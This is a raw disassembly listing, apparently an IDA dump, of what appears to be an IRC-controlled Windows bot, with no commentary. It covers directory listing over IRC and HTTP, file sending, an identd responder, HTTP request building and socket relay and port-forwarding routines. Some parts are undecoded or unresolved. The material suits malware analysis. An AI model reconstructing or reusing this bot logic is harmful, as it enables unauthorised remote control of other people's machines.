lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
push edi
call sub_41AFE0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40FAC9
; ---------------------------------------------------------------------------
loc_40FAAF: ; CODE XREF: sub_40F96B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
loc_40FAC9: ; CODE XREF: sub_40F96B+5Aj
; sub_40F96B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
cmp [ebp+arg_C], ebx
jz short loc_40FB64
push [ebp+arg_C]
call sub_41AFE0
cmp eax, 2
pop ecx
jbe short loc_40FB64
push [ebp+arg_C]
call sub_41AFE0
sub eax, 3
pop ecx
jz short loc_40FB15
loc_40FB09: ; CODE XREF: sub_40F96B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB15
dec eax
jnz short loc_40FB09
loc_40FB15: ; CODE XREF: sub_40F96B+19Cj
; sub_40F96B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B5F0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
loc_40FB64: ; CODE XREF: sub_40F96B+180j
; sub_40F96B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 25C0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call near ptr 27503ADh
nop
test eax, eax
jz loc_40FF54
mov edi, 1FFh
loc_40FB90: ; CODE XREF: sub_40F96B+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2750000h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 274085Fh
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40FC05
mov ecx, offset aAm ; "AM"
loc_40FC05: ; CODE XREF: sub_40F96B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC11
sub eax, 0Ch
loc_40FC11: ; CODE XREF: sub_40F96B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B886
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC85
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FC85: ; CODE XREF: sub_40F96B+2E0j
cmp [ebp+arg_C], ebx
jz loc_40FD6F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FD25
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD2A
; ---------------------------------------------------------------------------
loc_40FD25: ; CODE XREF: sub_40F96B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD2A: ; CODE XREF: sub_40F96B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFE
; ---------------------------------------------------------------------------
loc_40FD6F: ; CODE XREF: sub_40F96B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FF0D
; ---------------------------------------------------------------------------
loc_40FDB4: ; CODE XREF: sub_40F96B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF3
push ebx
push [ebp+var_368]
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_40FDDF: ; CODE XREF: sub_40F96B+577j
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 1Ch
jmp loc_40FF0D
; ---------------------------------------------------------------------------
loc_40FDF3: ; CODE XREF: sub_40F96B+44Fj
cmp [ebp+arg_C], ebx
jz loc_40FEE7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429ACC
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FE93
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE98
; ---------------------------------------------------------------------------
loc_40FE93: ; CODE XREF: sub_40F96B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE98: ; CODE XREF: sub_40F96B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDF
; ---------------------------------------------------------------------------
loc_40FEE7: ; CODE XREF: sub_40F96B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFD: ; CODE XREF: sub_40F96B+315j
push esi
loc_40FEFE: ; CODE XREF: sub_40F96B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 18h
loc_40FF0D: ; CODE XREF: sub_40F96B+444j
; sub_40F96B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
cmp [ebp+arg_8], ebx
jz short loc_40FF3C
push 7D0h
nop
call near ptr 2680000h
loc_40FF3C: ; CODE XREF: sub_40F96B+22Bj
; sub_40F96B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call near ptr 27503ADh
nop
test eax, eax
jnz loc_40FB90
loc_40FF54: ; CODE XREF: sub_40F96B+21Aj
push [ebp+arg_0]
call near ptr 2740000h
nop
cmp [ebp+arg_8], ebx
jz short loc_40FF97
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B886
add esp, 14h
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40F96B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_40FFB1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FFB1: ; CODE XREF: sub_40F96B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B886
add esp, 10h
loc_40FFCB: ; CODE XREF: sub_40F96B+62Aj
; sub_40F96B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF1 proc near ; CODE XREF: sub_40F531+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call near ptr 27009D7h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A9
push esi
push ebx
nop
call near ptr 27309A1h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A2
loc_410036: ; CODE XREF: sub_40FFF1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B590
add esp, 0Ch
loc_41004B: ; DATA XREF: ___:00438128o
cmp edi, [ebp+arg_4]
loc_41004E: ; DATA XREF: ___:0043813Co
jbe short loc_410053
mov edi, [ebp+arg_4]
loc_410053: ; CODE XREF: sub_40FFF1:loc_41004Ej
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 2760000h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call near ptr 2700000h
nop
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_41009D
call dword_4CB5E8
cmp eax, 2733h
jnz short loc_4100A2
xor eax, eax
loc_41009D: ; CODE XREF: sub_40FFF1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410036
loc_4100A2: ; CODE XREF: sub_40FFF1+43j
; sub_40FFF1+A8j
push ebx
call near ptr 2660919h
nop
loc_4100A9: ; CODE XREF: sub_40FFF1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF1 endp
; =============== S U B R O U T I N E =======================================
sub_4100AE proc near ; CODE XREF: sub_40F6B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_4100D7
loc_4100C1: ; CODE XREF: sub_4100AE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CB
mov byte ptr [esi+edi], 2Fh
loc_4100CB: ; CODE XREF: sub_4100AE+17j
push edi
inc esi
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_4100C1
loc_4100D7: ; CODE XREF: sub_4100AE+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DC proc near ; CODE XREF: sub_401ACD+5298p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB5C4
push 6
push 1
push 2
call dword_4CB6D4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB654
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAFA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz short loc_4101B9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410155
mov eax, offset dword_43D808
loc_410155: ; CODE XREF: sub_4100DC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CB6A4
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB66C
pop esi
loc_4101B9: ; CODE XREF: sub_4100DC+6Bj
push ebx
call dword_4CB6EC
call dword_4CB5AC
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41B886
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4101F9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 14h
loc_4101F9: ; CODE XREF: sub_4100DC+102j
pop edi
pop ebx
leave
retn
sub_4100DC endp
; ---------------------------------------------------------------------------
loc_4101FD: ; DATA XREF: ___:00401666o
; sub_401ACD+436Ao
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CB654
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CB6D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410361
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43E59C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CB680
cmp eax, 0FFFFFFFFh
jz loc_410361
push 5
push ebx
call dword_4CB67C
cmp eax, 0FFFFFFFFh
jz loc_410361
mov [ebp-0Ch], edi
mov edi, 200h
loc_410288: ; CODE XREF: ___:004102E7j
; ___:0041034Aj ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CB6E8
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_41035C
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CB6E0
push eax
lea eax, [ebp-238h]
push offset dword_43468C
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AD
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CB66C
cmp eax, 0FFFFFFFFh
jz short loc_410288
lea eax, [ebp-238h]
push esi
push eax
call sub_417F80
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41B590
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40B08E
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz loc_410288
mov dword ptr [ebp-8], 1
jmp loc_410288
; ---------------------------------------------------------------------------
loc_41035C: ; CODE XREF: ___:0041029Dj
cmp [ebp-8], esi
jnz short loc_410388
loc_410361: ; CODE XREF: ___:00410244j
; ___:00410268j ...
call dword_4CB5E8
push eax
lea eax, [ebp-238h]
push offset dword_434648
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AD
add esp, 10h
loc_410388: ; CODE XREF: ___:0041035Fj
push ebx
call dword_4CB6EC
push dword ptr [ebp-4]
call dword_4CB6EC
push dword ptr [ebp+8]
call sub_40B413
pop ecx
push esi
nop
call near ptr 26E0000h
pop edi
pop esi
pop ebx
loc_4103AB: ; DATA XREF: sub_401ACD+613Co
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CB654
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CB6D4
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410517
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E59C[ecx], eax
call dword_4CB564
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CB680
test eax, eax
jnz loc_410517
push 0Ah
push dword ptr [ebp+8]
call dword_4CB67C
test eax, eax
jnz loc_410517
loc_41045B: ; CODE XREF: ___:00410471j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CB6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045B
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CB6E0
push eax
lea eax, [ebp-350h]
push offset unk_4346F4
push eax
call sub_41B886
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B0F7
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43E594[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_41053C
push esi
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
dd 226FBBCh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h, 39137400h
dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 226FB00h, 0E890EDEBh
dd 22705B6h, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
pop ecx
jmp short loc_41051A
; ---------------------------------------------------------------------------
loc_410517: ; CODE XREF: ___:0041040Ej
; ___:00410442j ...
mov edi, [ebp+8]
loc_41051A: ; CODE XREF: ___:00410515j
push edi
call dword_4CB6EC
push dword ptr [ebp+8]
call dword_4CB6EC
push dword ptr [ebp-40h]
call sub_40B413
pop ecx
push esi
nop
call near ptr 26E0000h
pop edi
pop esi
loc_41053C: ; DATA XREF: ___:004104CFo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CB6D4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4106F2
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CB654
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CB694
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4105CC
lea eax, [ebp-13Ch]
push eax
call dword_4CB6D8
jmp short loc_4105DA
; ---------------------------------------------------------------------------
loc_4105CC: ; CODE XREF: ___:004105BBj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CB60C
loc_4105DA: ; CODE XREF: ___:004105CAj
cmp eax, edi
jz loc_4106F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz loc_4106F2
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CB6E0
push eax
lea eax, [ebp-344h]
push offset unk_43477C
push eax
call sub_41B886
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B0F7
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43E59C[ebx]
mov dword_43E594[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E5A0[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_410723
push edi
push edi
nop
call near ptr 2680098h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43E5A4[ecx], eax
jz short loc_4106DF
loc_41068C: ; CODE XREF: ___:00410699j
cmp [ebp-20h], edi
jnz short loc_41069B
push 32h
nop
call near ptr 2680000h
jmp short loc_41068C
; ---------------------------------------------------------------------------
loc_41069B: ; CODE XREF: ___:0041068Fj
mov ebx, 1000h
loc_4106A0: ; CODE XREF: ___:004106DBj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB66C
cmp eax, edi
jle short loc_4106F2
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_4106A0
jmp short loc_4106F2
; ---------------------------------------------------------------------------
loc_4106DF: ; CODE XREF: ___:0041068Aj
call near ptr 2680ABEh
nop
push eax
push offset unk_43473C
call sub_415221
pop ecx
pop ecx
loc_4106F2: ; CODE XREF: ___:00410580j
; ___:004105DCj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43E59C[eax]
call dword_4CB6EC
push dword ptr [ebp+8]
call dword_4CB6EC
push dword ptr [ebp-4]
call sub_40B413
pop ecx
push edi
nop
call near ptr 26E0000h
pop edi
pop esi
pop ebx
loc_410723: ; DATA XREF: ___:0041066Co
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BB20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41075A: ; CODE XREF: ___:0041079Fj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43E5A0[esi]
call dword_4CB66C
test eax, eax
jle short loc_4107A1
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43E59C[esi]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_41075A
loc_4107A1: ; CODE XREF: ___:00410784j
push dword_43E5A0[esi]
call dword_4CB6EC
push dword ptr [ebp-14h]
call sub_40B413
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h, 42h, 0F8h
; ---------------------------------------------------------------------------
sub al, 2
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43E59C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CB63C
test eax, eax
jnz short loc_410844
push dword ptr [esi]
call dword_4CB6EC
push dword ptr [ebp+8]
call sub_40B413
pop ecx
push edi
nop
call near ptr 26E0000h
loc_410844: ; CODE XREF: ___:0041082Aj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CB66C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C5
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C5
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4109C5
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CB5A8
test eax, eax
jz short loc_4108BD
call dword_4CB5E8
push eax
push offset unk_434854
call sub_415221
push dword ptr [ebp+8]
call sub_40B413
add esp, 0Ch
push edi
nop
call near ptr 26E0000h
loc_4108BD: ; CODE XREF: ___:00410898j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CB60C
cmp eax, edi
jnz short loc_4108E7
push dword ptr [ebp-18h]
call dword_4CB6E0
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41B886
jmp short loc_4108F5
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: ___:004108CDj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41BEB0
loc_4108F5: ; CODE XREF: ___:004108E5j
pop ecx
pop ecx
push edi
push ebx
push offset dword_43D808
push dword ptr [esi]
call dword_4CB6A4
cmp dword_4CE3B8, edi
jnz short loc_410957
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410A1F
add esp, 10h
test eax, eax
jnz short loc_410957
